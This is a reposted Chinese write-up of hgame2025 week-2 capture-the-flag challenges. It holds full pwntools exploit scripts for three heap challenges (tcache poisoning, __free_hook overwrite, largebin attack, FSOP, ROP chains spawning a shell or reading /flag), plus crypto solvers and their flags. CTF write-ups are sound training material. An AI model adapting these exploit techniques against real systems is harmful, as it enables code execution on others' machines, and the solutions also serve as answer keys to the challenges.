[hgame2025]week2pwn/crypto
- 互联网
- 2025-09-01 16:48:02
![[hgame2025]week2pwn/crypto](/0pic/pp_94.jpg)
截止18号20点。都一星期了快忘了。
PWN sigin2heap堆题,libc用的是2.27,有add,free,show,其中add有off_by_null
unsigned __int64 add() { unsigned int v0; // ebx unsigned int v2; // [rsp+Ch] [rbp-24h] BYREF unsigned int size; // [rsp+10h] [rbp-20h] BYREF unsigned int size_4; // [rsp+14h] [rbp-1Ch] unsigned __int64 v5; // [rsp+18h] [rbp-18h] v5 = __readfsqword(0x28u); printf("Index: "); __isoc99_scanf("%u", &v2); if ( v2 > 0xF ) { puts("There are only 16 pages."); } else if ( *((_QWORD *)&books + v2) ) { puts("The note already exists."); } else { while ( 1 ) { printf("Size: "); __isoc99_scanf("%u", &size); if ( size <= 0xFF ) break; puts("Too big!"); } v0 = v2; *((_QWORD *)&books + v0) = malloc(size); printf("Content: "); size_4 = read(0, *((void **)&books + v2), size); *(_BYTE *)(*((_QWORD *)&books + v2) + size_4) = 0;// off_by_null } return __readfsqword(0x28u) ^ v5; }由于有size限制,需要先释放填满tcache才能释放到unsort。利用off_by_null将size的尾位置0释放到unsort时向前合并造成重叠,再通过tcacheAttack向__free_hook写system
一个板子题,用来凑数的。
from pwn import * context(arch='amd64', log_level='debug') elf = ELF('./vuln') libc = ELF('./libc-2.27.so') def add(idx,size,msg): p.sendafter(b"Your choice:", p32(1)) p.sendlineafter(b"Index: ", str(idx).encode()) p.sendlineafter(b"Size: ", str(size).encode()) p.sendafter(b"Content: ", msg) def free(idx): p.sendafter(b"Your choice:", p32(2)) p.sendlineafter(b"Index: ", str(idx).encode()) def show(idx): p.sendafter(b"Your choice:", p32(3)) p.sendlineafter(b"Index: ", str(idx).encode()) #p = process('./vuln') p = remote('node1.hgame.vidar.club', 31909) a = [0xf0,0x18,0x18,0x18]+[0xf0]*8+[0x18] for idx,size in enumerate(a): add(idx,size,b'A') for i in range(7): free(i+5) free(0) free(3) add(3, 0x18,flat(0,0,0x160)) free(4) add(0,0xd0,b'A') add(4,0x18,b'A') show(1) libc.address = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - 0x3ebca0 print(f"{libc.address = :x}") free(3) free(2) add(5,0x30,flat(0,0,0,0x21,p64(libc.sym['__free_hook']))) add(6,0x18,b'/bin/sh') add(7,0x18,p64(libc.sym['system'])) free(6) p.interactive() whereisVuln把主要函数作成链接库。其实没多大区别。free有UAF。add,free,edit,show都有,也就没难度了。
用largebin attack在mp_.global_max_bins写值使400以上的进入到tcache再进行tcache attack。
有个小疑问,一般进行largebinattack时,unsort块要比large块略大,但这个要求略小才行。
这里有个问题,栈里有canary,当在栈里建块时会因为空间不够只能建到canary前,从而无法通过stack_check。所以这里写IO_list_all先执行个fake_IO_file将ROP读入到栈里(在read后,不是栈里函数后,函数已经exit执行不到这了)。
from pwn import * context(arch='amd64', log_level='debug') elf = ELF('./vuln') hgame = ELF('./libhgame.so') libc = ELF('./libc.so.6') def add(idx,size): p.sendlineafter(b">", b'1') p.sendlineafter(b"Index: ", str(idx).encode()) p.sendlineafter(b"Size: ", str(size).encode()) def free(idx): p.sendlineafter(b">", b'2') p.sendlineafter(b"Index: ", str(idx).encode()) def edit(idx, msg): p.sendlineafter(b">", b'3') p.sendlineafter(b"Index: ", str(idx).encode()) p.sendafter(b"Content: ", msg) def show(idx): p.sendlineafter(b">", b'4') p.sendlineafter(b"Index: ", str(idx).encode()) def Exit(): p.sendlineafter(b">", b'5') #p = process('./vuln') p = remote('node1.hgame.vidar.club', 30634) for idx,size in enumerate([0x520,0x500,0x510,0x500]): add(idx,size) free(0) add(4,0x540) free(2) show(0) large = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') libc.address = large - 0x203f50 print(f"{libc.address = :x}") edit(0, b'A'*0x10) show(0) p.recvuntil(b'A'*0x10) heap = u64(p.recv(6)+b'\0\0') - 0x290 print(f"{heap = :x}") tcache_max_bins = libc.sym['obstack_exit_failure'] - 0x20 edit(0, flat(large, large, 0, tcache_max_bins-0x20)) add(5,0x540) free(3) free(1) edit(1,p64((heap+0x7d0>>12)^libc.sym['_environ']-0x18)) add(6,0x500) add(7,0x500) #environ edit(7, b'A'*0x18) show(7) p.recvuntil(b'A'*0x18) stack = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - 0x160 print(f"{stack = :x}") free(5) free(4) edit(4, p64((heap+0x1710>>12)^libc.sym['_IO_list_all'])) add(4,0x540) add(5,0x540) edit(5, p64(heap+0x2a0)) target = stack -0x1d0 fake_io_read = flat({ 0x00: 0x8000 | 0x40 | 0x1000, #_flags 0x20: target, #_IO_write_base 0x28: target + 0x200, #_IO_write_ptr 0x68: 0, #_chain 0x70: 0, # _fileno 0xc0: 0, #_modes 0xd8: libc.symbols['_IO_file_jumps'] - 0x8, #_vtables }, filler=b'\x00') edit(0, fake_io_read) #gdb.attach(p, "b*0x5555555552fa\nc") Exit() pop_rdi_ret = libc.address + 0x000000000010f75b pop_rsi_ret = libc.address + 0x0000000000110a4d pop_rdx_ret = libc.address + 0x0000000000066b9a # pop rdx ; ret 0x19 pop_rax_ret = libc.address + 0x00000000000dd237 syscall_ret = libc.sym['getpid'] + 9 ret = pop_rdi_ret + 1 payload = flat([ pop_rax_ret, 2, pop_rdi_ret, target + 0xa8+0x19, pop_rsi_ret, 0, syscall_ret, pop_rax_ret, 0, pop_rdi_ret, 3, pop_rsi_ret, target + 0x150, pop_rdx_ret, 0x50, syscall_ret, b'A'*0x19, pop_rax_ret, 1, pop_rdi_ret, 1, syscall_ret, b"/flag\0" ]) sleep(0.1) p.send(payload) p.interactive() HitList又一个堆题。
add这个函数尖malloc返回空指针时会执行gift,执行任意地址free:把输入的一个地址,free掉。
另外在scanf("%s", src)这里有个溢出,拿到canary后就可以直接溢出ROP。
char *malloc_msg() { int v1; // [rsp+4h] [rbp-1Ch] BYREF char *dest; // [rsp+8h] [rbp-18h] char src[8]; // [rsp+10h] [rbp-10h] BYREF unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); puts("Name: "); putchar(62); __isoc99_scanf("%s", src); puts("Additional information to consider: "); puts("Size:"); putchar(62); __isoc99_scanf("%u", &v1); if ( v1 <= 0x3F0 ) { dest = (char *)malloc(v1 + 8); if ( dest ) { putchar(62); strncpy(dest, src, 8uLL); read(0, dest + 8, v1); return dest; } else { puts("Memory allocation failed."); return (char *)(int)gift(); } } else { puts("Too big."); return 0LL; } }edit并不会直接修改而是先free再add。通过原块里的残留得到libc和堆地址。
先在堆里作个块头,用gift释放掉再申请就得到重叠块。利用show里使用的指针得到栈地址和canary。然后到malloc_msg里溢出写ROP
from pwn import * context(arch='amd64', log_level='debug') libc = ELF('./libc.so.6') elf = ELF('./vuln') def add(idx, name,size,msg): p.sendlineafter(b'>', b'1') p.sendlineafter(b'>', str(idx).encode()) p.sendlineafter(b'>', name) p.sendlineafter(b'>', str(size).encode()) #-9 gift if size<0x400: p.sendafter(b'>', msg) def free(idx): p.sendlineafter(b'>', b'2') p.sendlineafter(b'>', str(idx).encode()) def edit(idx,num, name, size,msg): p.sendlineafter(b'>', b'3') p.sendlineafter(b'>', str(idx).encode()) p.sendlineafter(b'>', str(num).encode()) p.sendlineafter(b'>', name) p.sendlineafter(b'>', str(size).encode()) #-9 gift p.sendafter(b'>', msg) def show(idx): p.sendlineafter(b'>', b'4') p.sendlineafter(b'>', str(idx).encode()) #p = process('./vuln') p = remote('node1.hgame.vidar.club', 31888) for i in range(8): add(i,b'A', 0x80, b'A') for i in range(7): edit(i+1,1,b'A',0,b'') edit(0,1,b'A',0,b'') show(0) p.recvuntil(b"Information: ") libc.address = u64(p.recv(6)+b'\0\0') - 0x21ad60 print(f"{libc.address = :x}") free(1) edit(0,1,b'A',0x20,b'A'*0x10) show(0) p.recvuntil(b'A'*0x10) heap = u64(p.recv(6)+b'\0\0') - 0x8a0 print(f"{heap = :x}") edit(0,1,b'A',0x8,b'A') add(8,b'A',0x60, flat(0x21,0,0,0,0x21,0,0,0,0x51)) #stack #gdb.attach(p, "b*0x5555555553c4\nc") edit(0,1,b'A',-9,hex(heap+0x340).encode()+b'\n') edit(0,1,b'A',0x40,flat(0,0,0x31,7,0,0,libc.sym['_environ'])) #gdb.attach(p, "b*0x5555555559ca\nc") show(7) stack = u64(p.recvuntil(b'\x7f')[-6:]+b'\0\0') - 0x140 print(f"{stack = :x}") #canary #gdb.attach(p, "b*0x5555555559ca\nc") edit(0,1,b'A',0x40,flat(0,0,0x31,7,0,0,stack+9)) show(7) p.recvuntil(b"Information: ") canary = b'\0'+p.recv(7) print(f"{canary.hex() =}") #gdb.attach(p, "b*0x55555555551c\nc") pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret rop = flat(0,canary,0, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system']) add(9,rop, 0x800, b'A') #gdb.attach(p) #pause() p.interactive()Crypto Ancient_Recall
题目
import random Major_Arcana = ["The Fool", "The Magician", "The High Priestess","The Empress", "The Emperor", "The Hierophant","The Lovers", "The Chariot", "Strength","The Hermit", "Wheel of Fortune", "Justice","The Hanged Man", "Death", "Temperance","The Devil", "The Tower", "The Star","The Moon", "The Sun", "Judgement","The World"] wands = ["Ace of Wands", "Two of Wands", "Three of Wands", "Four of Wands", "Five of Wands", "Six of Wands", "Seven of Wands", "Eight of Wands", "Nine of Wands", "Ten of Wands", "Page of Wands", "Knight of Wands", "Queen of Wands", "King of Wands"] cups = ["Ace of Cups", "Two of Cups", "Three of Cups", "Four of Cups", "Five of Cups", "Six of Cups", "Seven of Cups", "Eight of Cups", "Nine of Cups", "Ten of Cups", "Page of Cups", "Knight of Cups", "Queen of Cups", "King of Cups"] swords = ["Ace of Swords", "Two of Swords", "Three of Swords", "Four of Swords", "Five of Swords", "Six of Swords", "Seven of Swords", "Eight of Swords", "Nine of Swords", "Ten of Swords", "Page of Swords", "Knight of Swords", "Queen of Swords", "King of Swords"] pentacles = ["Ace of Pentacles", "Two of Pentacles", "Three of Pentacles", "Four of Pentacles", "Five of Pentacles", "Six of Pentacles", "Seven of Pentacles", "Eight of Pentacles", "Nine of Pentacles", "Ten of Pentacles", "Page of Pentacles", "Knight of Pentacles", "Queen of Pentacles", "King of Pentacles"] Minor_Arcana = wands + cups + swords + pentacles tarot = Major_Arcana + Minor_Arcana reversals = [0,-1] Value = [] cards = [] YOUR_initial_FATE = [] while len(YOUR_initial_FATE)<5: card = random.choice(tarot) if card not in cards: cards.append(card) if card in Major_Arcana: k = random.choice(reversals) Value.append(tarot.index(card)^k) if k == -1: YOUR_initial_FATE.append("re-"+card) else: YOUR_initial_FATE.append(card) else: Value.append(tarot.index(card)) YOUR_initial_FATE.append(card) else: continue print("Oops!lets reverse 1T!") FLAG=("hgame{"+"&".join(YOUR_initial_FATE)+"}").replace(" ","_") YOUR_final_Value = Value def Fortune_wheel(FATE): FATEd = [FATE[i]+FATE[(i+1)%5] for i in range(len(FATE))] return FATEd for i in range(250): YOUR_final_Value = Fortune_wheel(YOUR_final_Value) print(YOUR_final_Value) YOUR_final_FATE = [] for i in YOUR_final_Value: YOUR_final_FATE.append(tarot[i%78]) print("Your destiny changed!\n",",".join(YOUR_final_FATE)) print("oh,now you GET th3 GOOd lU>k,^^") """ Oops!lets reverse 1T! [2532951952066291774890498369114195917240794704918210520571067085311474675019, 2532951952066291774890327666074100357898023013105443178881294700381509795270, 2532951952066291774890554459287276604903130315859258544173068376967072335730, 2532951952066291774890865328241532885391510162611534514014409174284299139015, 2532951952066291774890830662608134156017946376309989934175833913921142609334] Your destiny changed! Eight of Cups,Ace of Cups,Strength,The Chariot,Five of Swords oh,now you GET th3 GOOd lU>k,^^ """参数是个杨辉三角,可以先处理一下得到5个方程的系数。得到系数就能直接解出明文
#杨辉3角 def Fortune_wheel(FATE): FATEd = [FATE[i]+FATE[(i+1)%5] for i in range(len(FATE))] return FATEd var('x0 x1 x2 x3 x4') a = [x0,x1,x2,x3,x4] for i in range(250): a = Fortune_wheel(a) f = [a[i]-b[i] for i in range(5)] solve(f,[x0,x1,x2,x3,x4]) #[[x0 == -19, x1 == -20, x2 == 20, x3 == -15, x4 == 41]] c = [-19,-20,20,-15,41] a = [] for i in c: if i<0: a.append('re-'+tarot[i^^-1]) else: a.append(tarot[i]) ("hgame{"+"&".join(a)+"}").replace(" ","_") #hgame{re-The_Moon&re-The_Sun&Judgement&re-Temperance&Six_of_Cups} IntergalacticBound from Crypto.Util.number import * from Crypto.Cipher import AES from Crypto.Util.Padding import pad from random import randint import hashlib from secrets import flag def add_THCurve(P, Q): if P == (0, 0): return Q if Q == (0, 0): return P x1, y1 = P x2, y2 = Q x3 = (x1 - y1 ** 2 * x2 * y2) * pow(a * x1 * y1 * x2 ** 2 - y2, -1, p) % p y3 = (y1 * y2 ** 2 - a * x1 ** 2 * x2) * pow(a * x1 * y1 * x2 ** 2 - y2, -1, p) % p return x3, y3 def mul_THCurve(n, P): R = (0, 0) while n > 0: if n % 2 == 1: R = add_THCurve(R, P) P = add_THCurve(P, P) n = n // 2 return R p = getPrime(96) a = randint(1, p) G = (randint(1,p), randint(1,p)) d = (a*G[0]^3+G[1]^3+1)%p*inverse(G[0]*G[1],p)%p x = randint(1, p) Q = mul_THCurve(x, G) print(f"p = {p}") print(f"G = {G}") print(f"Q = {Q}") key = hashlib.sha256(str(x).encode()).digest() cipher = AES.new(key, AES.MODE_ECB) flag = pad(flag,16) ciphertext = cipher.encrypt(flag) print(f"ciphertext={ciphertext}") """ p = 55099055368053948610276786301 G = (19663446762962927633037926740, 35074412430915656071777015320) Q = (26805137673536635825884330180, 26376833112609309475951186883) ciphertext=b"k\xe8\xbe\x94\x9e\xfc\xe2\x9e\x97\xe5\xf3\x04'\x8f\xb2\x01T\x06\x88\x04\xeb3Jl\xdd Pk$\x00:\xf5" """关于Twisted Hessian Curve,这个自己猜是猜不出来的。这个曲线很标准没有变化。可以直接套模板映射到椭圆曲线,这里的order都是小因子,可以直接求对数求解。
#a*x^3 + y^3 + 1 = d*x*y Twisted Hessian Curve #根据两点求参a,d P.<a,d> = PolynomialRing(Zmod(p)) f1 = a*G[0]^3 + G[1]^3 + 1 -d*G[0]*G[1] f2 = a*Q[0]^3 + Q[1]^3 + 1 -d*Q[0]*Q[1] F = [f1,f2] Ideal = Ideal(F) I = Ideal.groebner_basis() print(I) res=[x.constant_coefficient() for x in I] a = -res[0]%p d = -res[1]%p #8569490478014112404683314361 R.<x,y,z> = Zmod(p)[] cubic = a*x^3 + y^3 + z^3 - d*x*y*z E = EllipticCurve_from_cubic(cubic,morphism=True) G = E(G) Q = E(Q) #求dlp #factor(G.order()) = 3 * 23 * 661 * 252919 * 115274309 * 13812057089 #都是小因子直接求DLP m = discrete_log(Q, G,operation = "+") #2633177798829352921583206736 key = hashlib.sha256(str(int(m)).encode()).digest() cipher = AES.new(key, AES.MODE_ECB) cipher.decrypt(ciphertext) #hgame{N0th1ng_bu7_up_Up_UP!} SPiCa正交格
from Crypto.Util.number import getPrime, long_to_bytes,bytes_to_long from secrets import flag from sage.all import * def derive_M(n): iota=0.035 Mbits=int(2 * iota * n^2 + n * log(n,2)) M = random_prime(2^Mbits, proof = False, lbound = 2^(Mbits - 1)) return Integer(M) m = bytes_to_long(flag).bit_length() n = 70 p = derive_M(n) F = GF(p) x = random_matrix(F, 1, n) A = random_matrix(ZZ, n, m, x=0, y=2) A[randint(0, n-1)] = vector(ZZ, list(bin(bytes_to_long(flag))[2:])) h = x*A with open("data.txt", "w") as file: file.write(str(m) + "\n") file.write(str(p) + "\n") for item in h: file.write(str(item) + "\n")也是个板子题,没可说之处。
#x*A = c ,A是01的稀疏矩阵 解正交格 BL = block_matrix(ZZ,[ [p,0], [Matrix(ZZ,c).T,1] ]) OL = BL.LLL() OL2 = Matrix(ZZ,OL[:m-n,1:]) Ker = OL2.right_kernel().matrix() Ker = Ker.BKZ() def check(v): if(all(i == 1 or i == 0 for i in v)): return v elif(all(i == -1 or i == 0 for i in v)): return -v def find(Ker,x): x = [i for i in ini] while(1): for vi in x: for i in Ker: xi1 = check(i + vi) xi2 = check(i - vi) if xi1 and xi1 not in x: x.append(xi1) if(len(x) == n): return Matrix(ZZ,x) if xi2 and xi2 not in x: x.append(xi2) if(len(x) == n): return Matrix(ZZ,x) ini = [check(vi) for vi in Ker if check(vi)] x = find(Ker,ini) for i in x: v = long_to_bytes(int(''.join(map(str,i)),2)) if b'hgame' in v: print(v) #hgame{U_f0und_3he_5pec14l_0n3!}[hgame2025]week2pwn/crypto由讯客互联互联网栏目发布,感谢您对讯客互联的认可,以及对我们原创作品以及文章的青睐,非常欢迎各位朋友分享到个人网站或者朋友圈,但转载请说明文章出处“[hgame2025]week2pwn/crypto”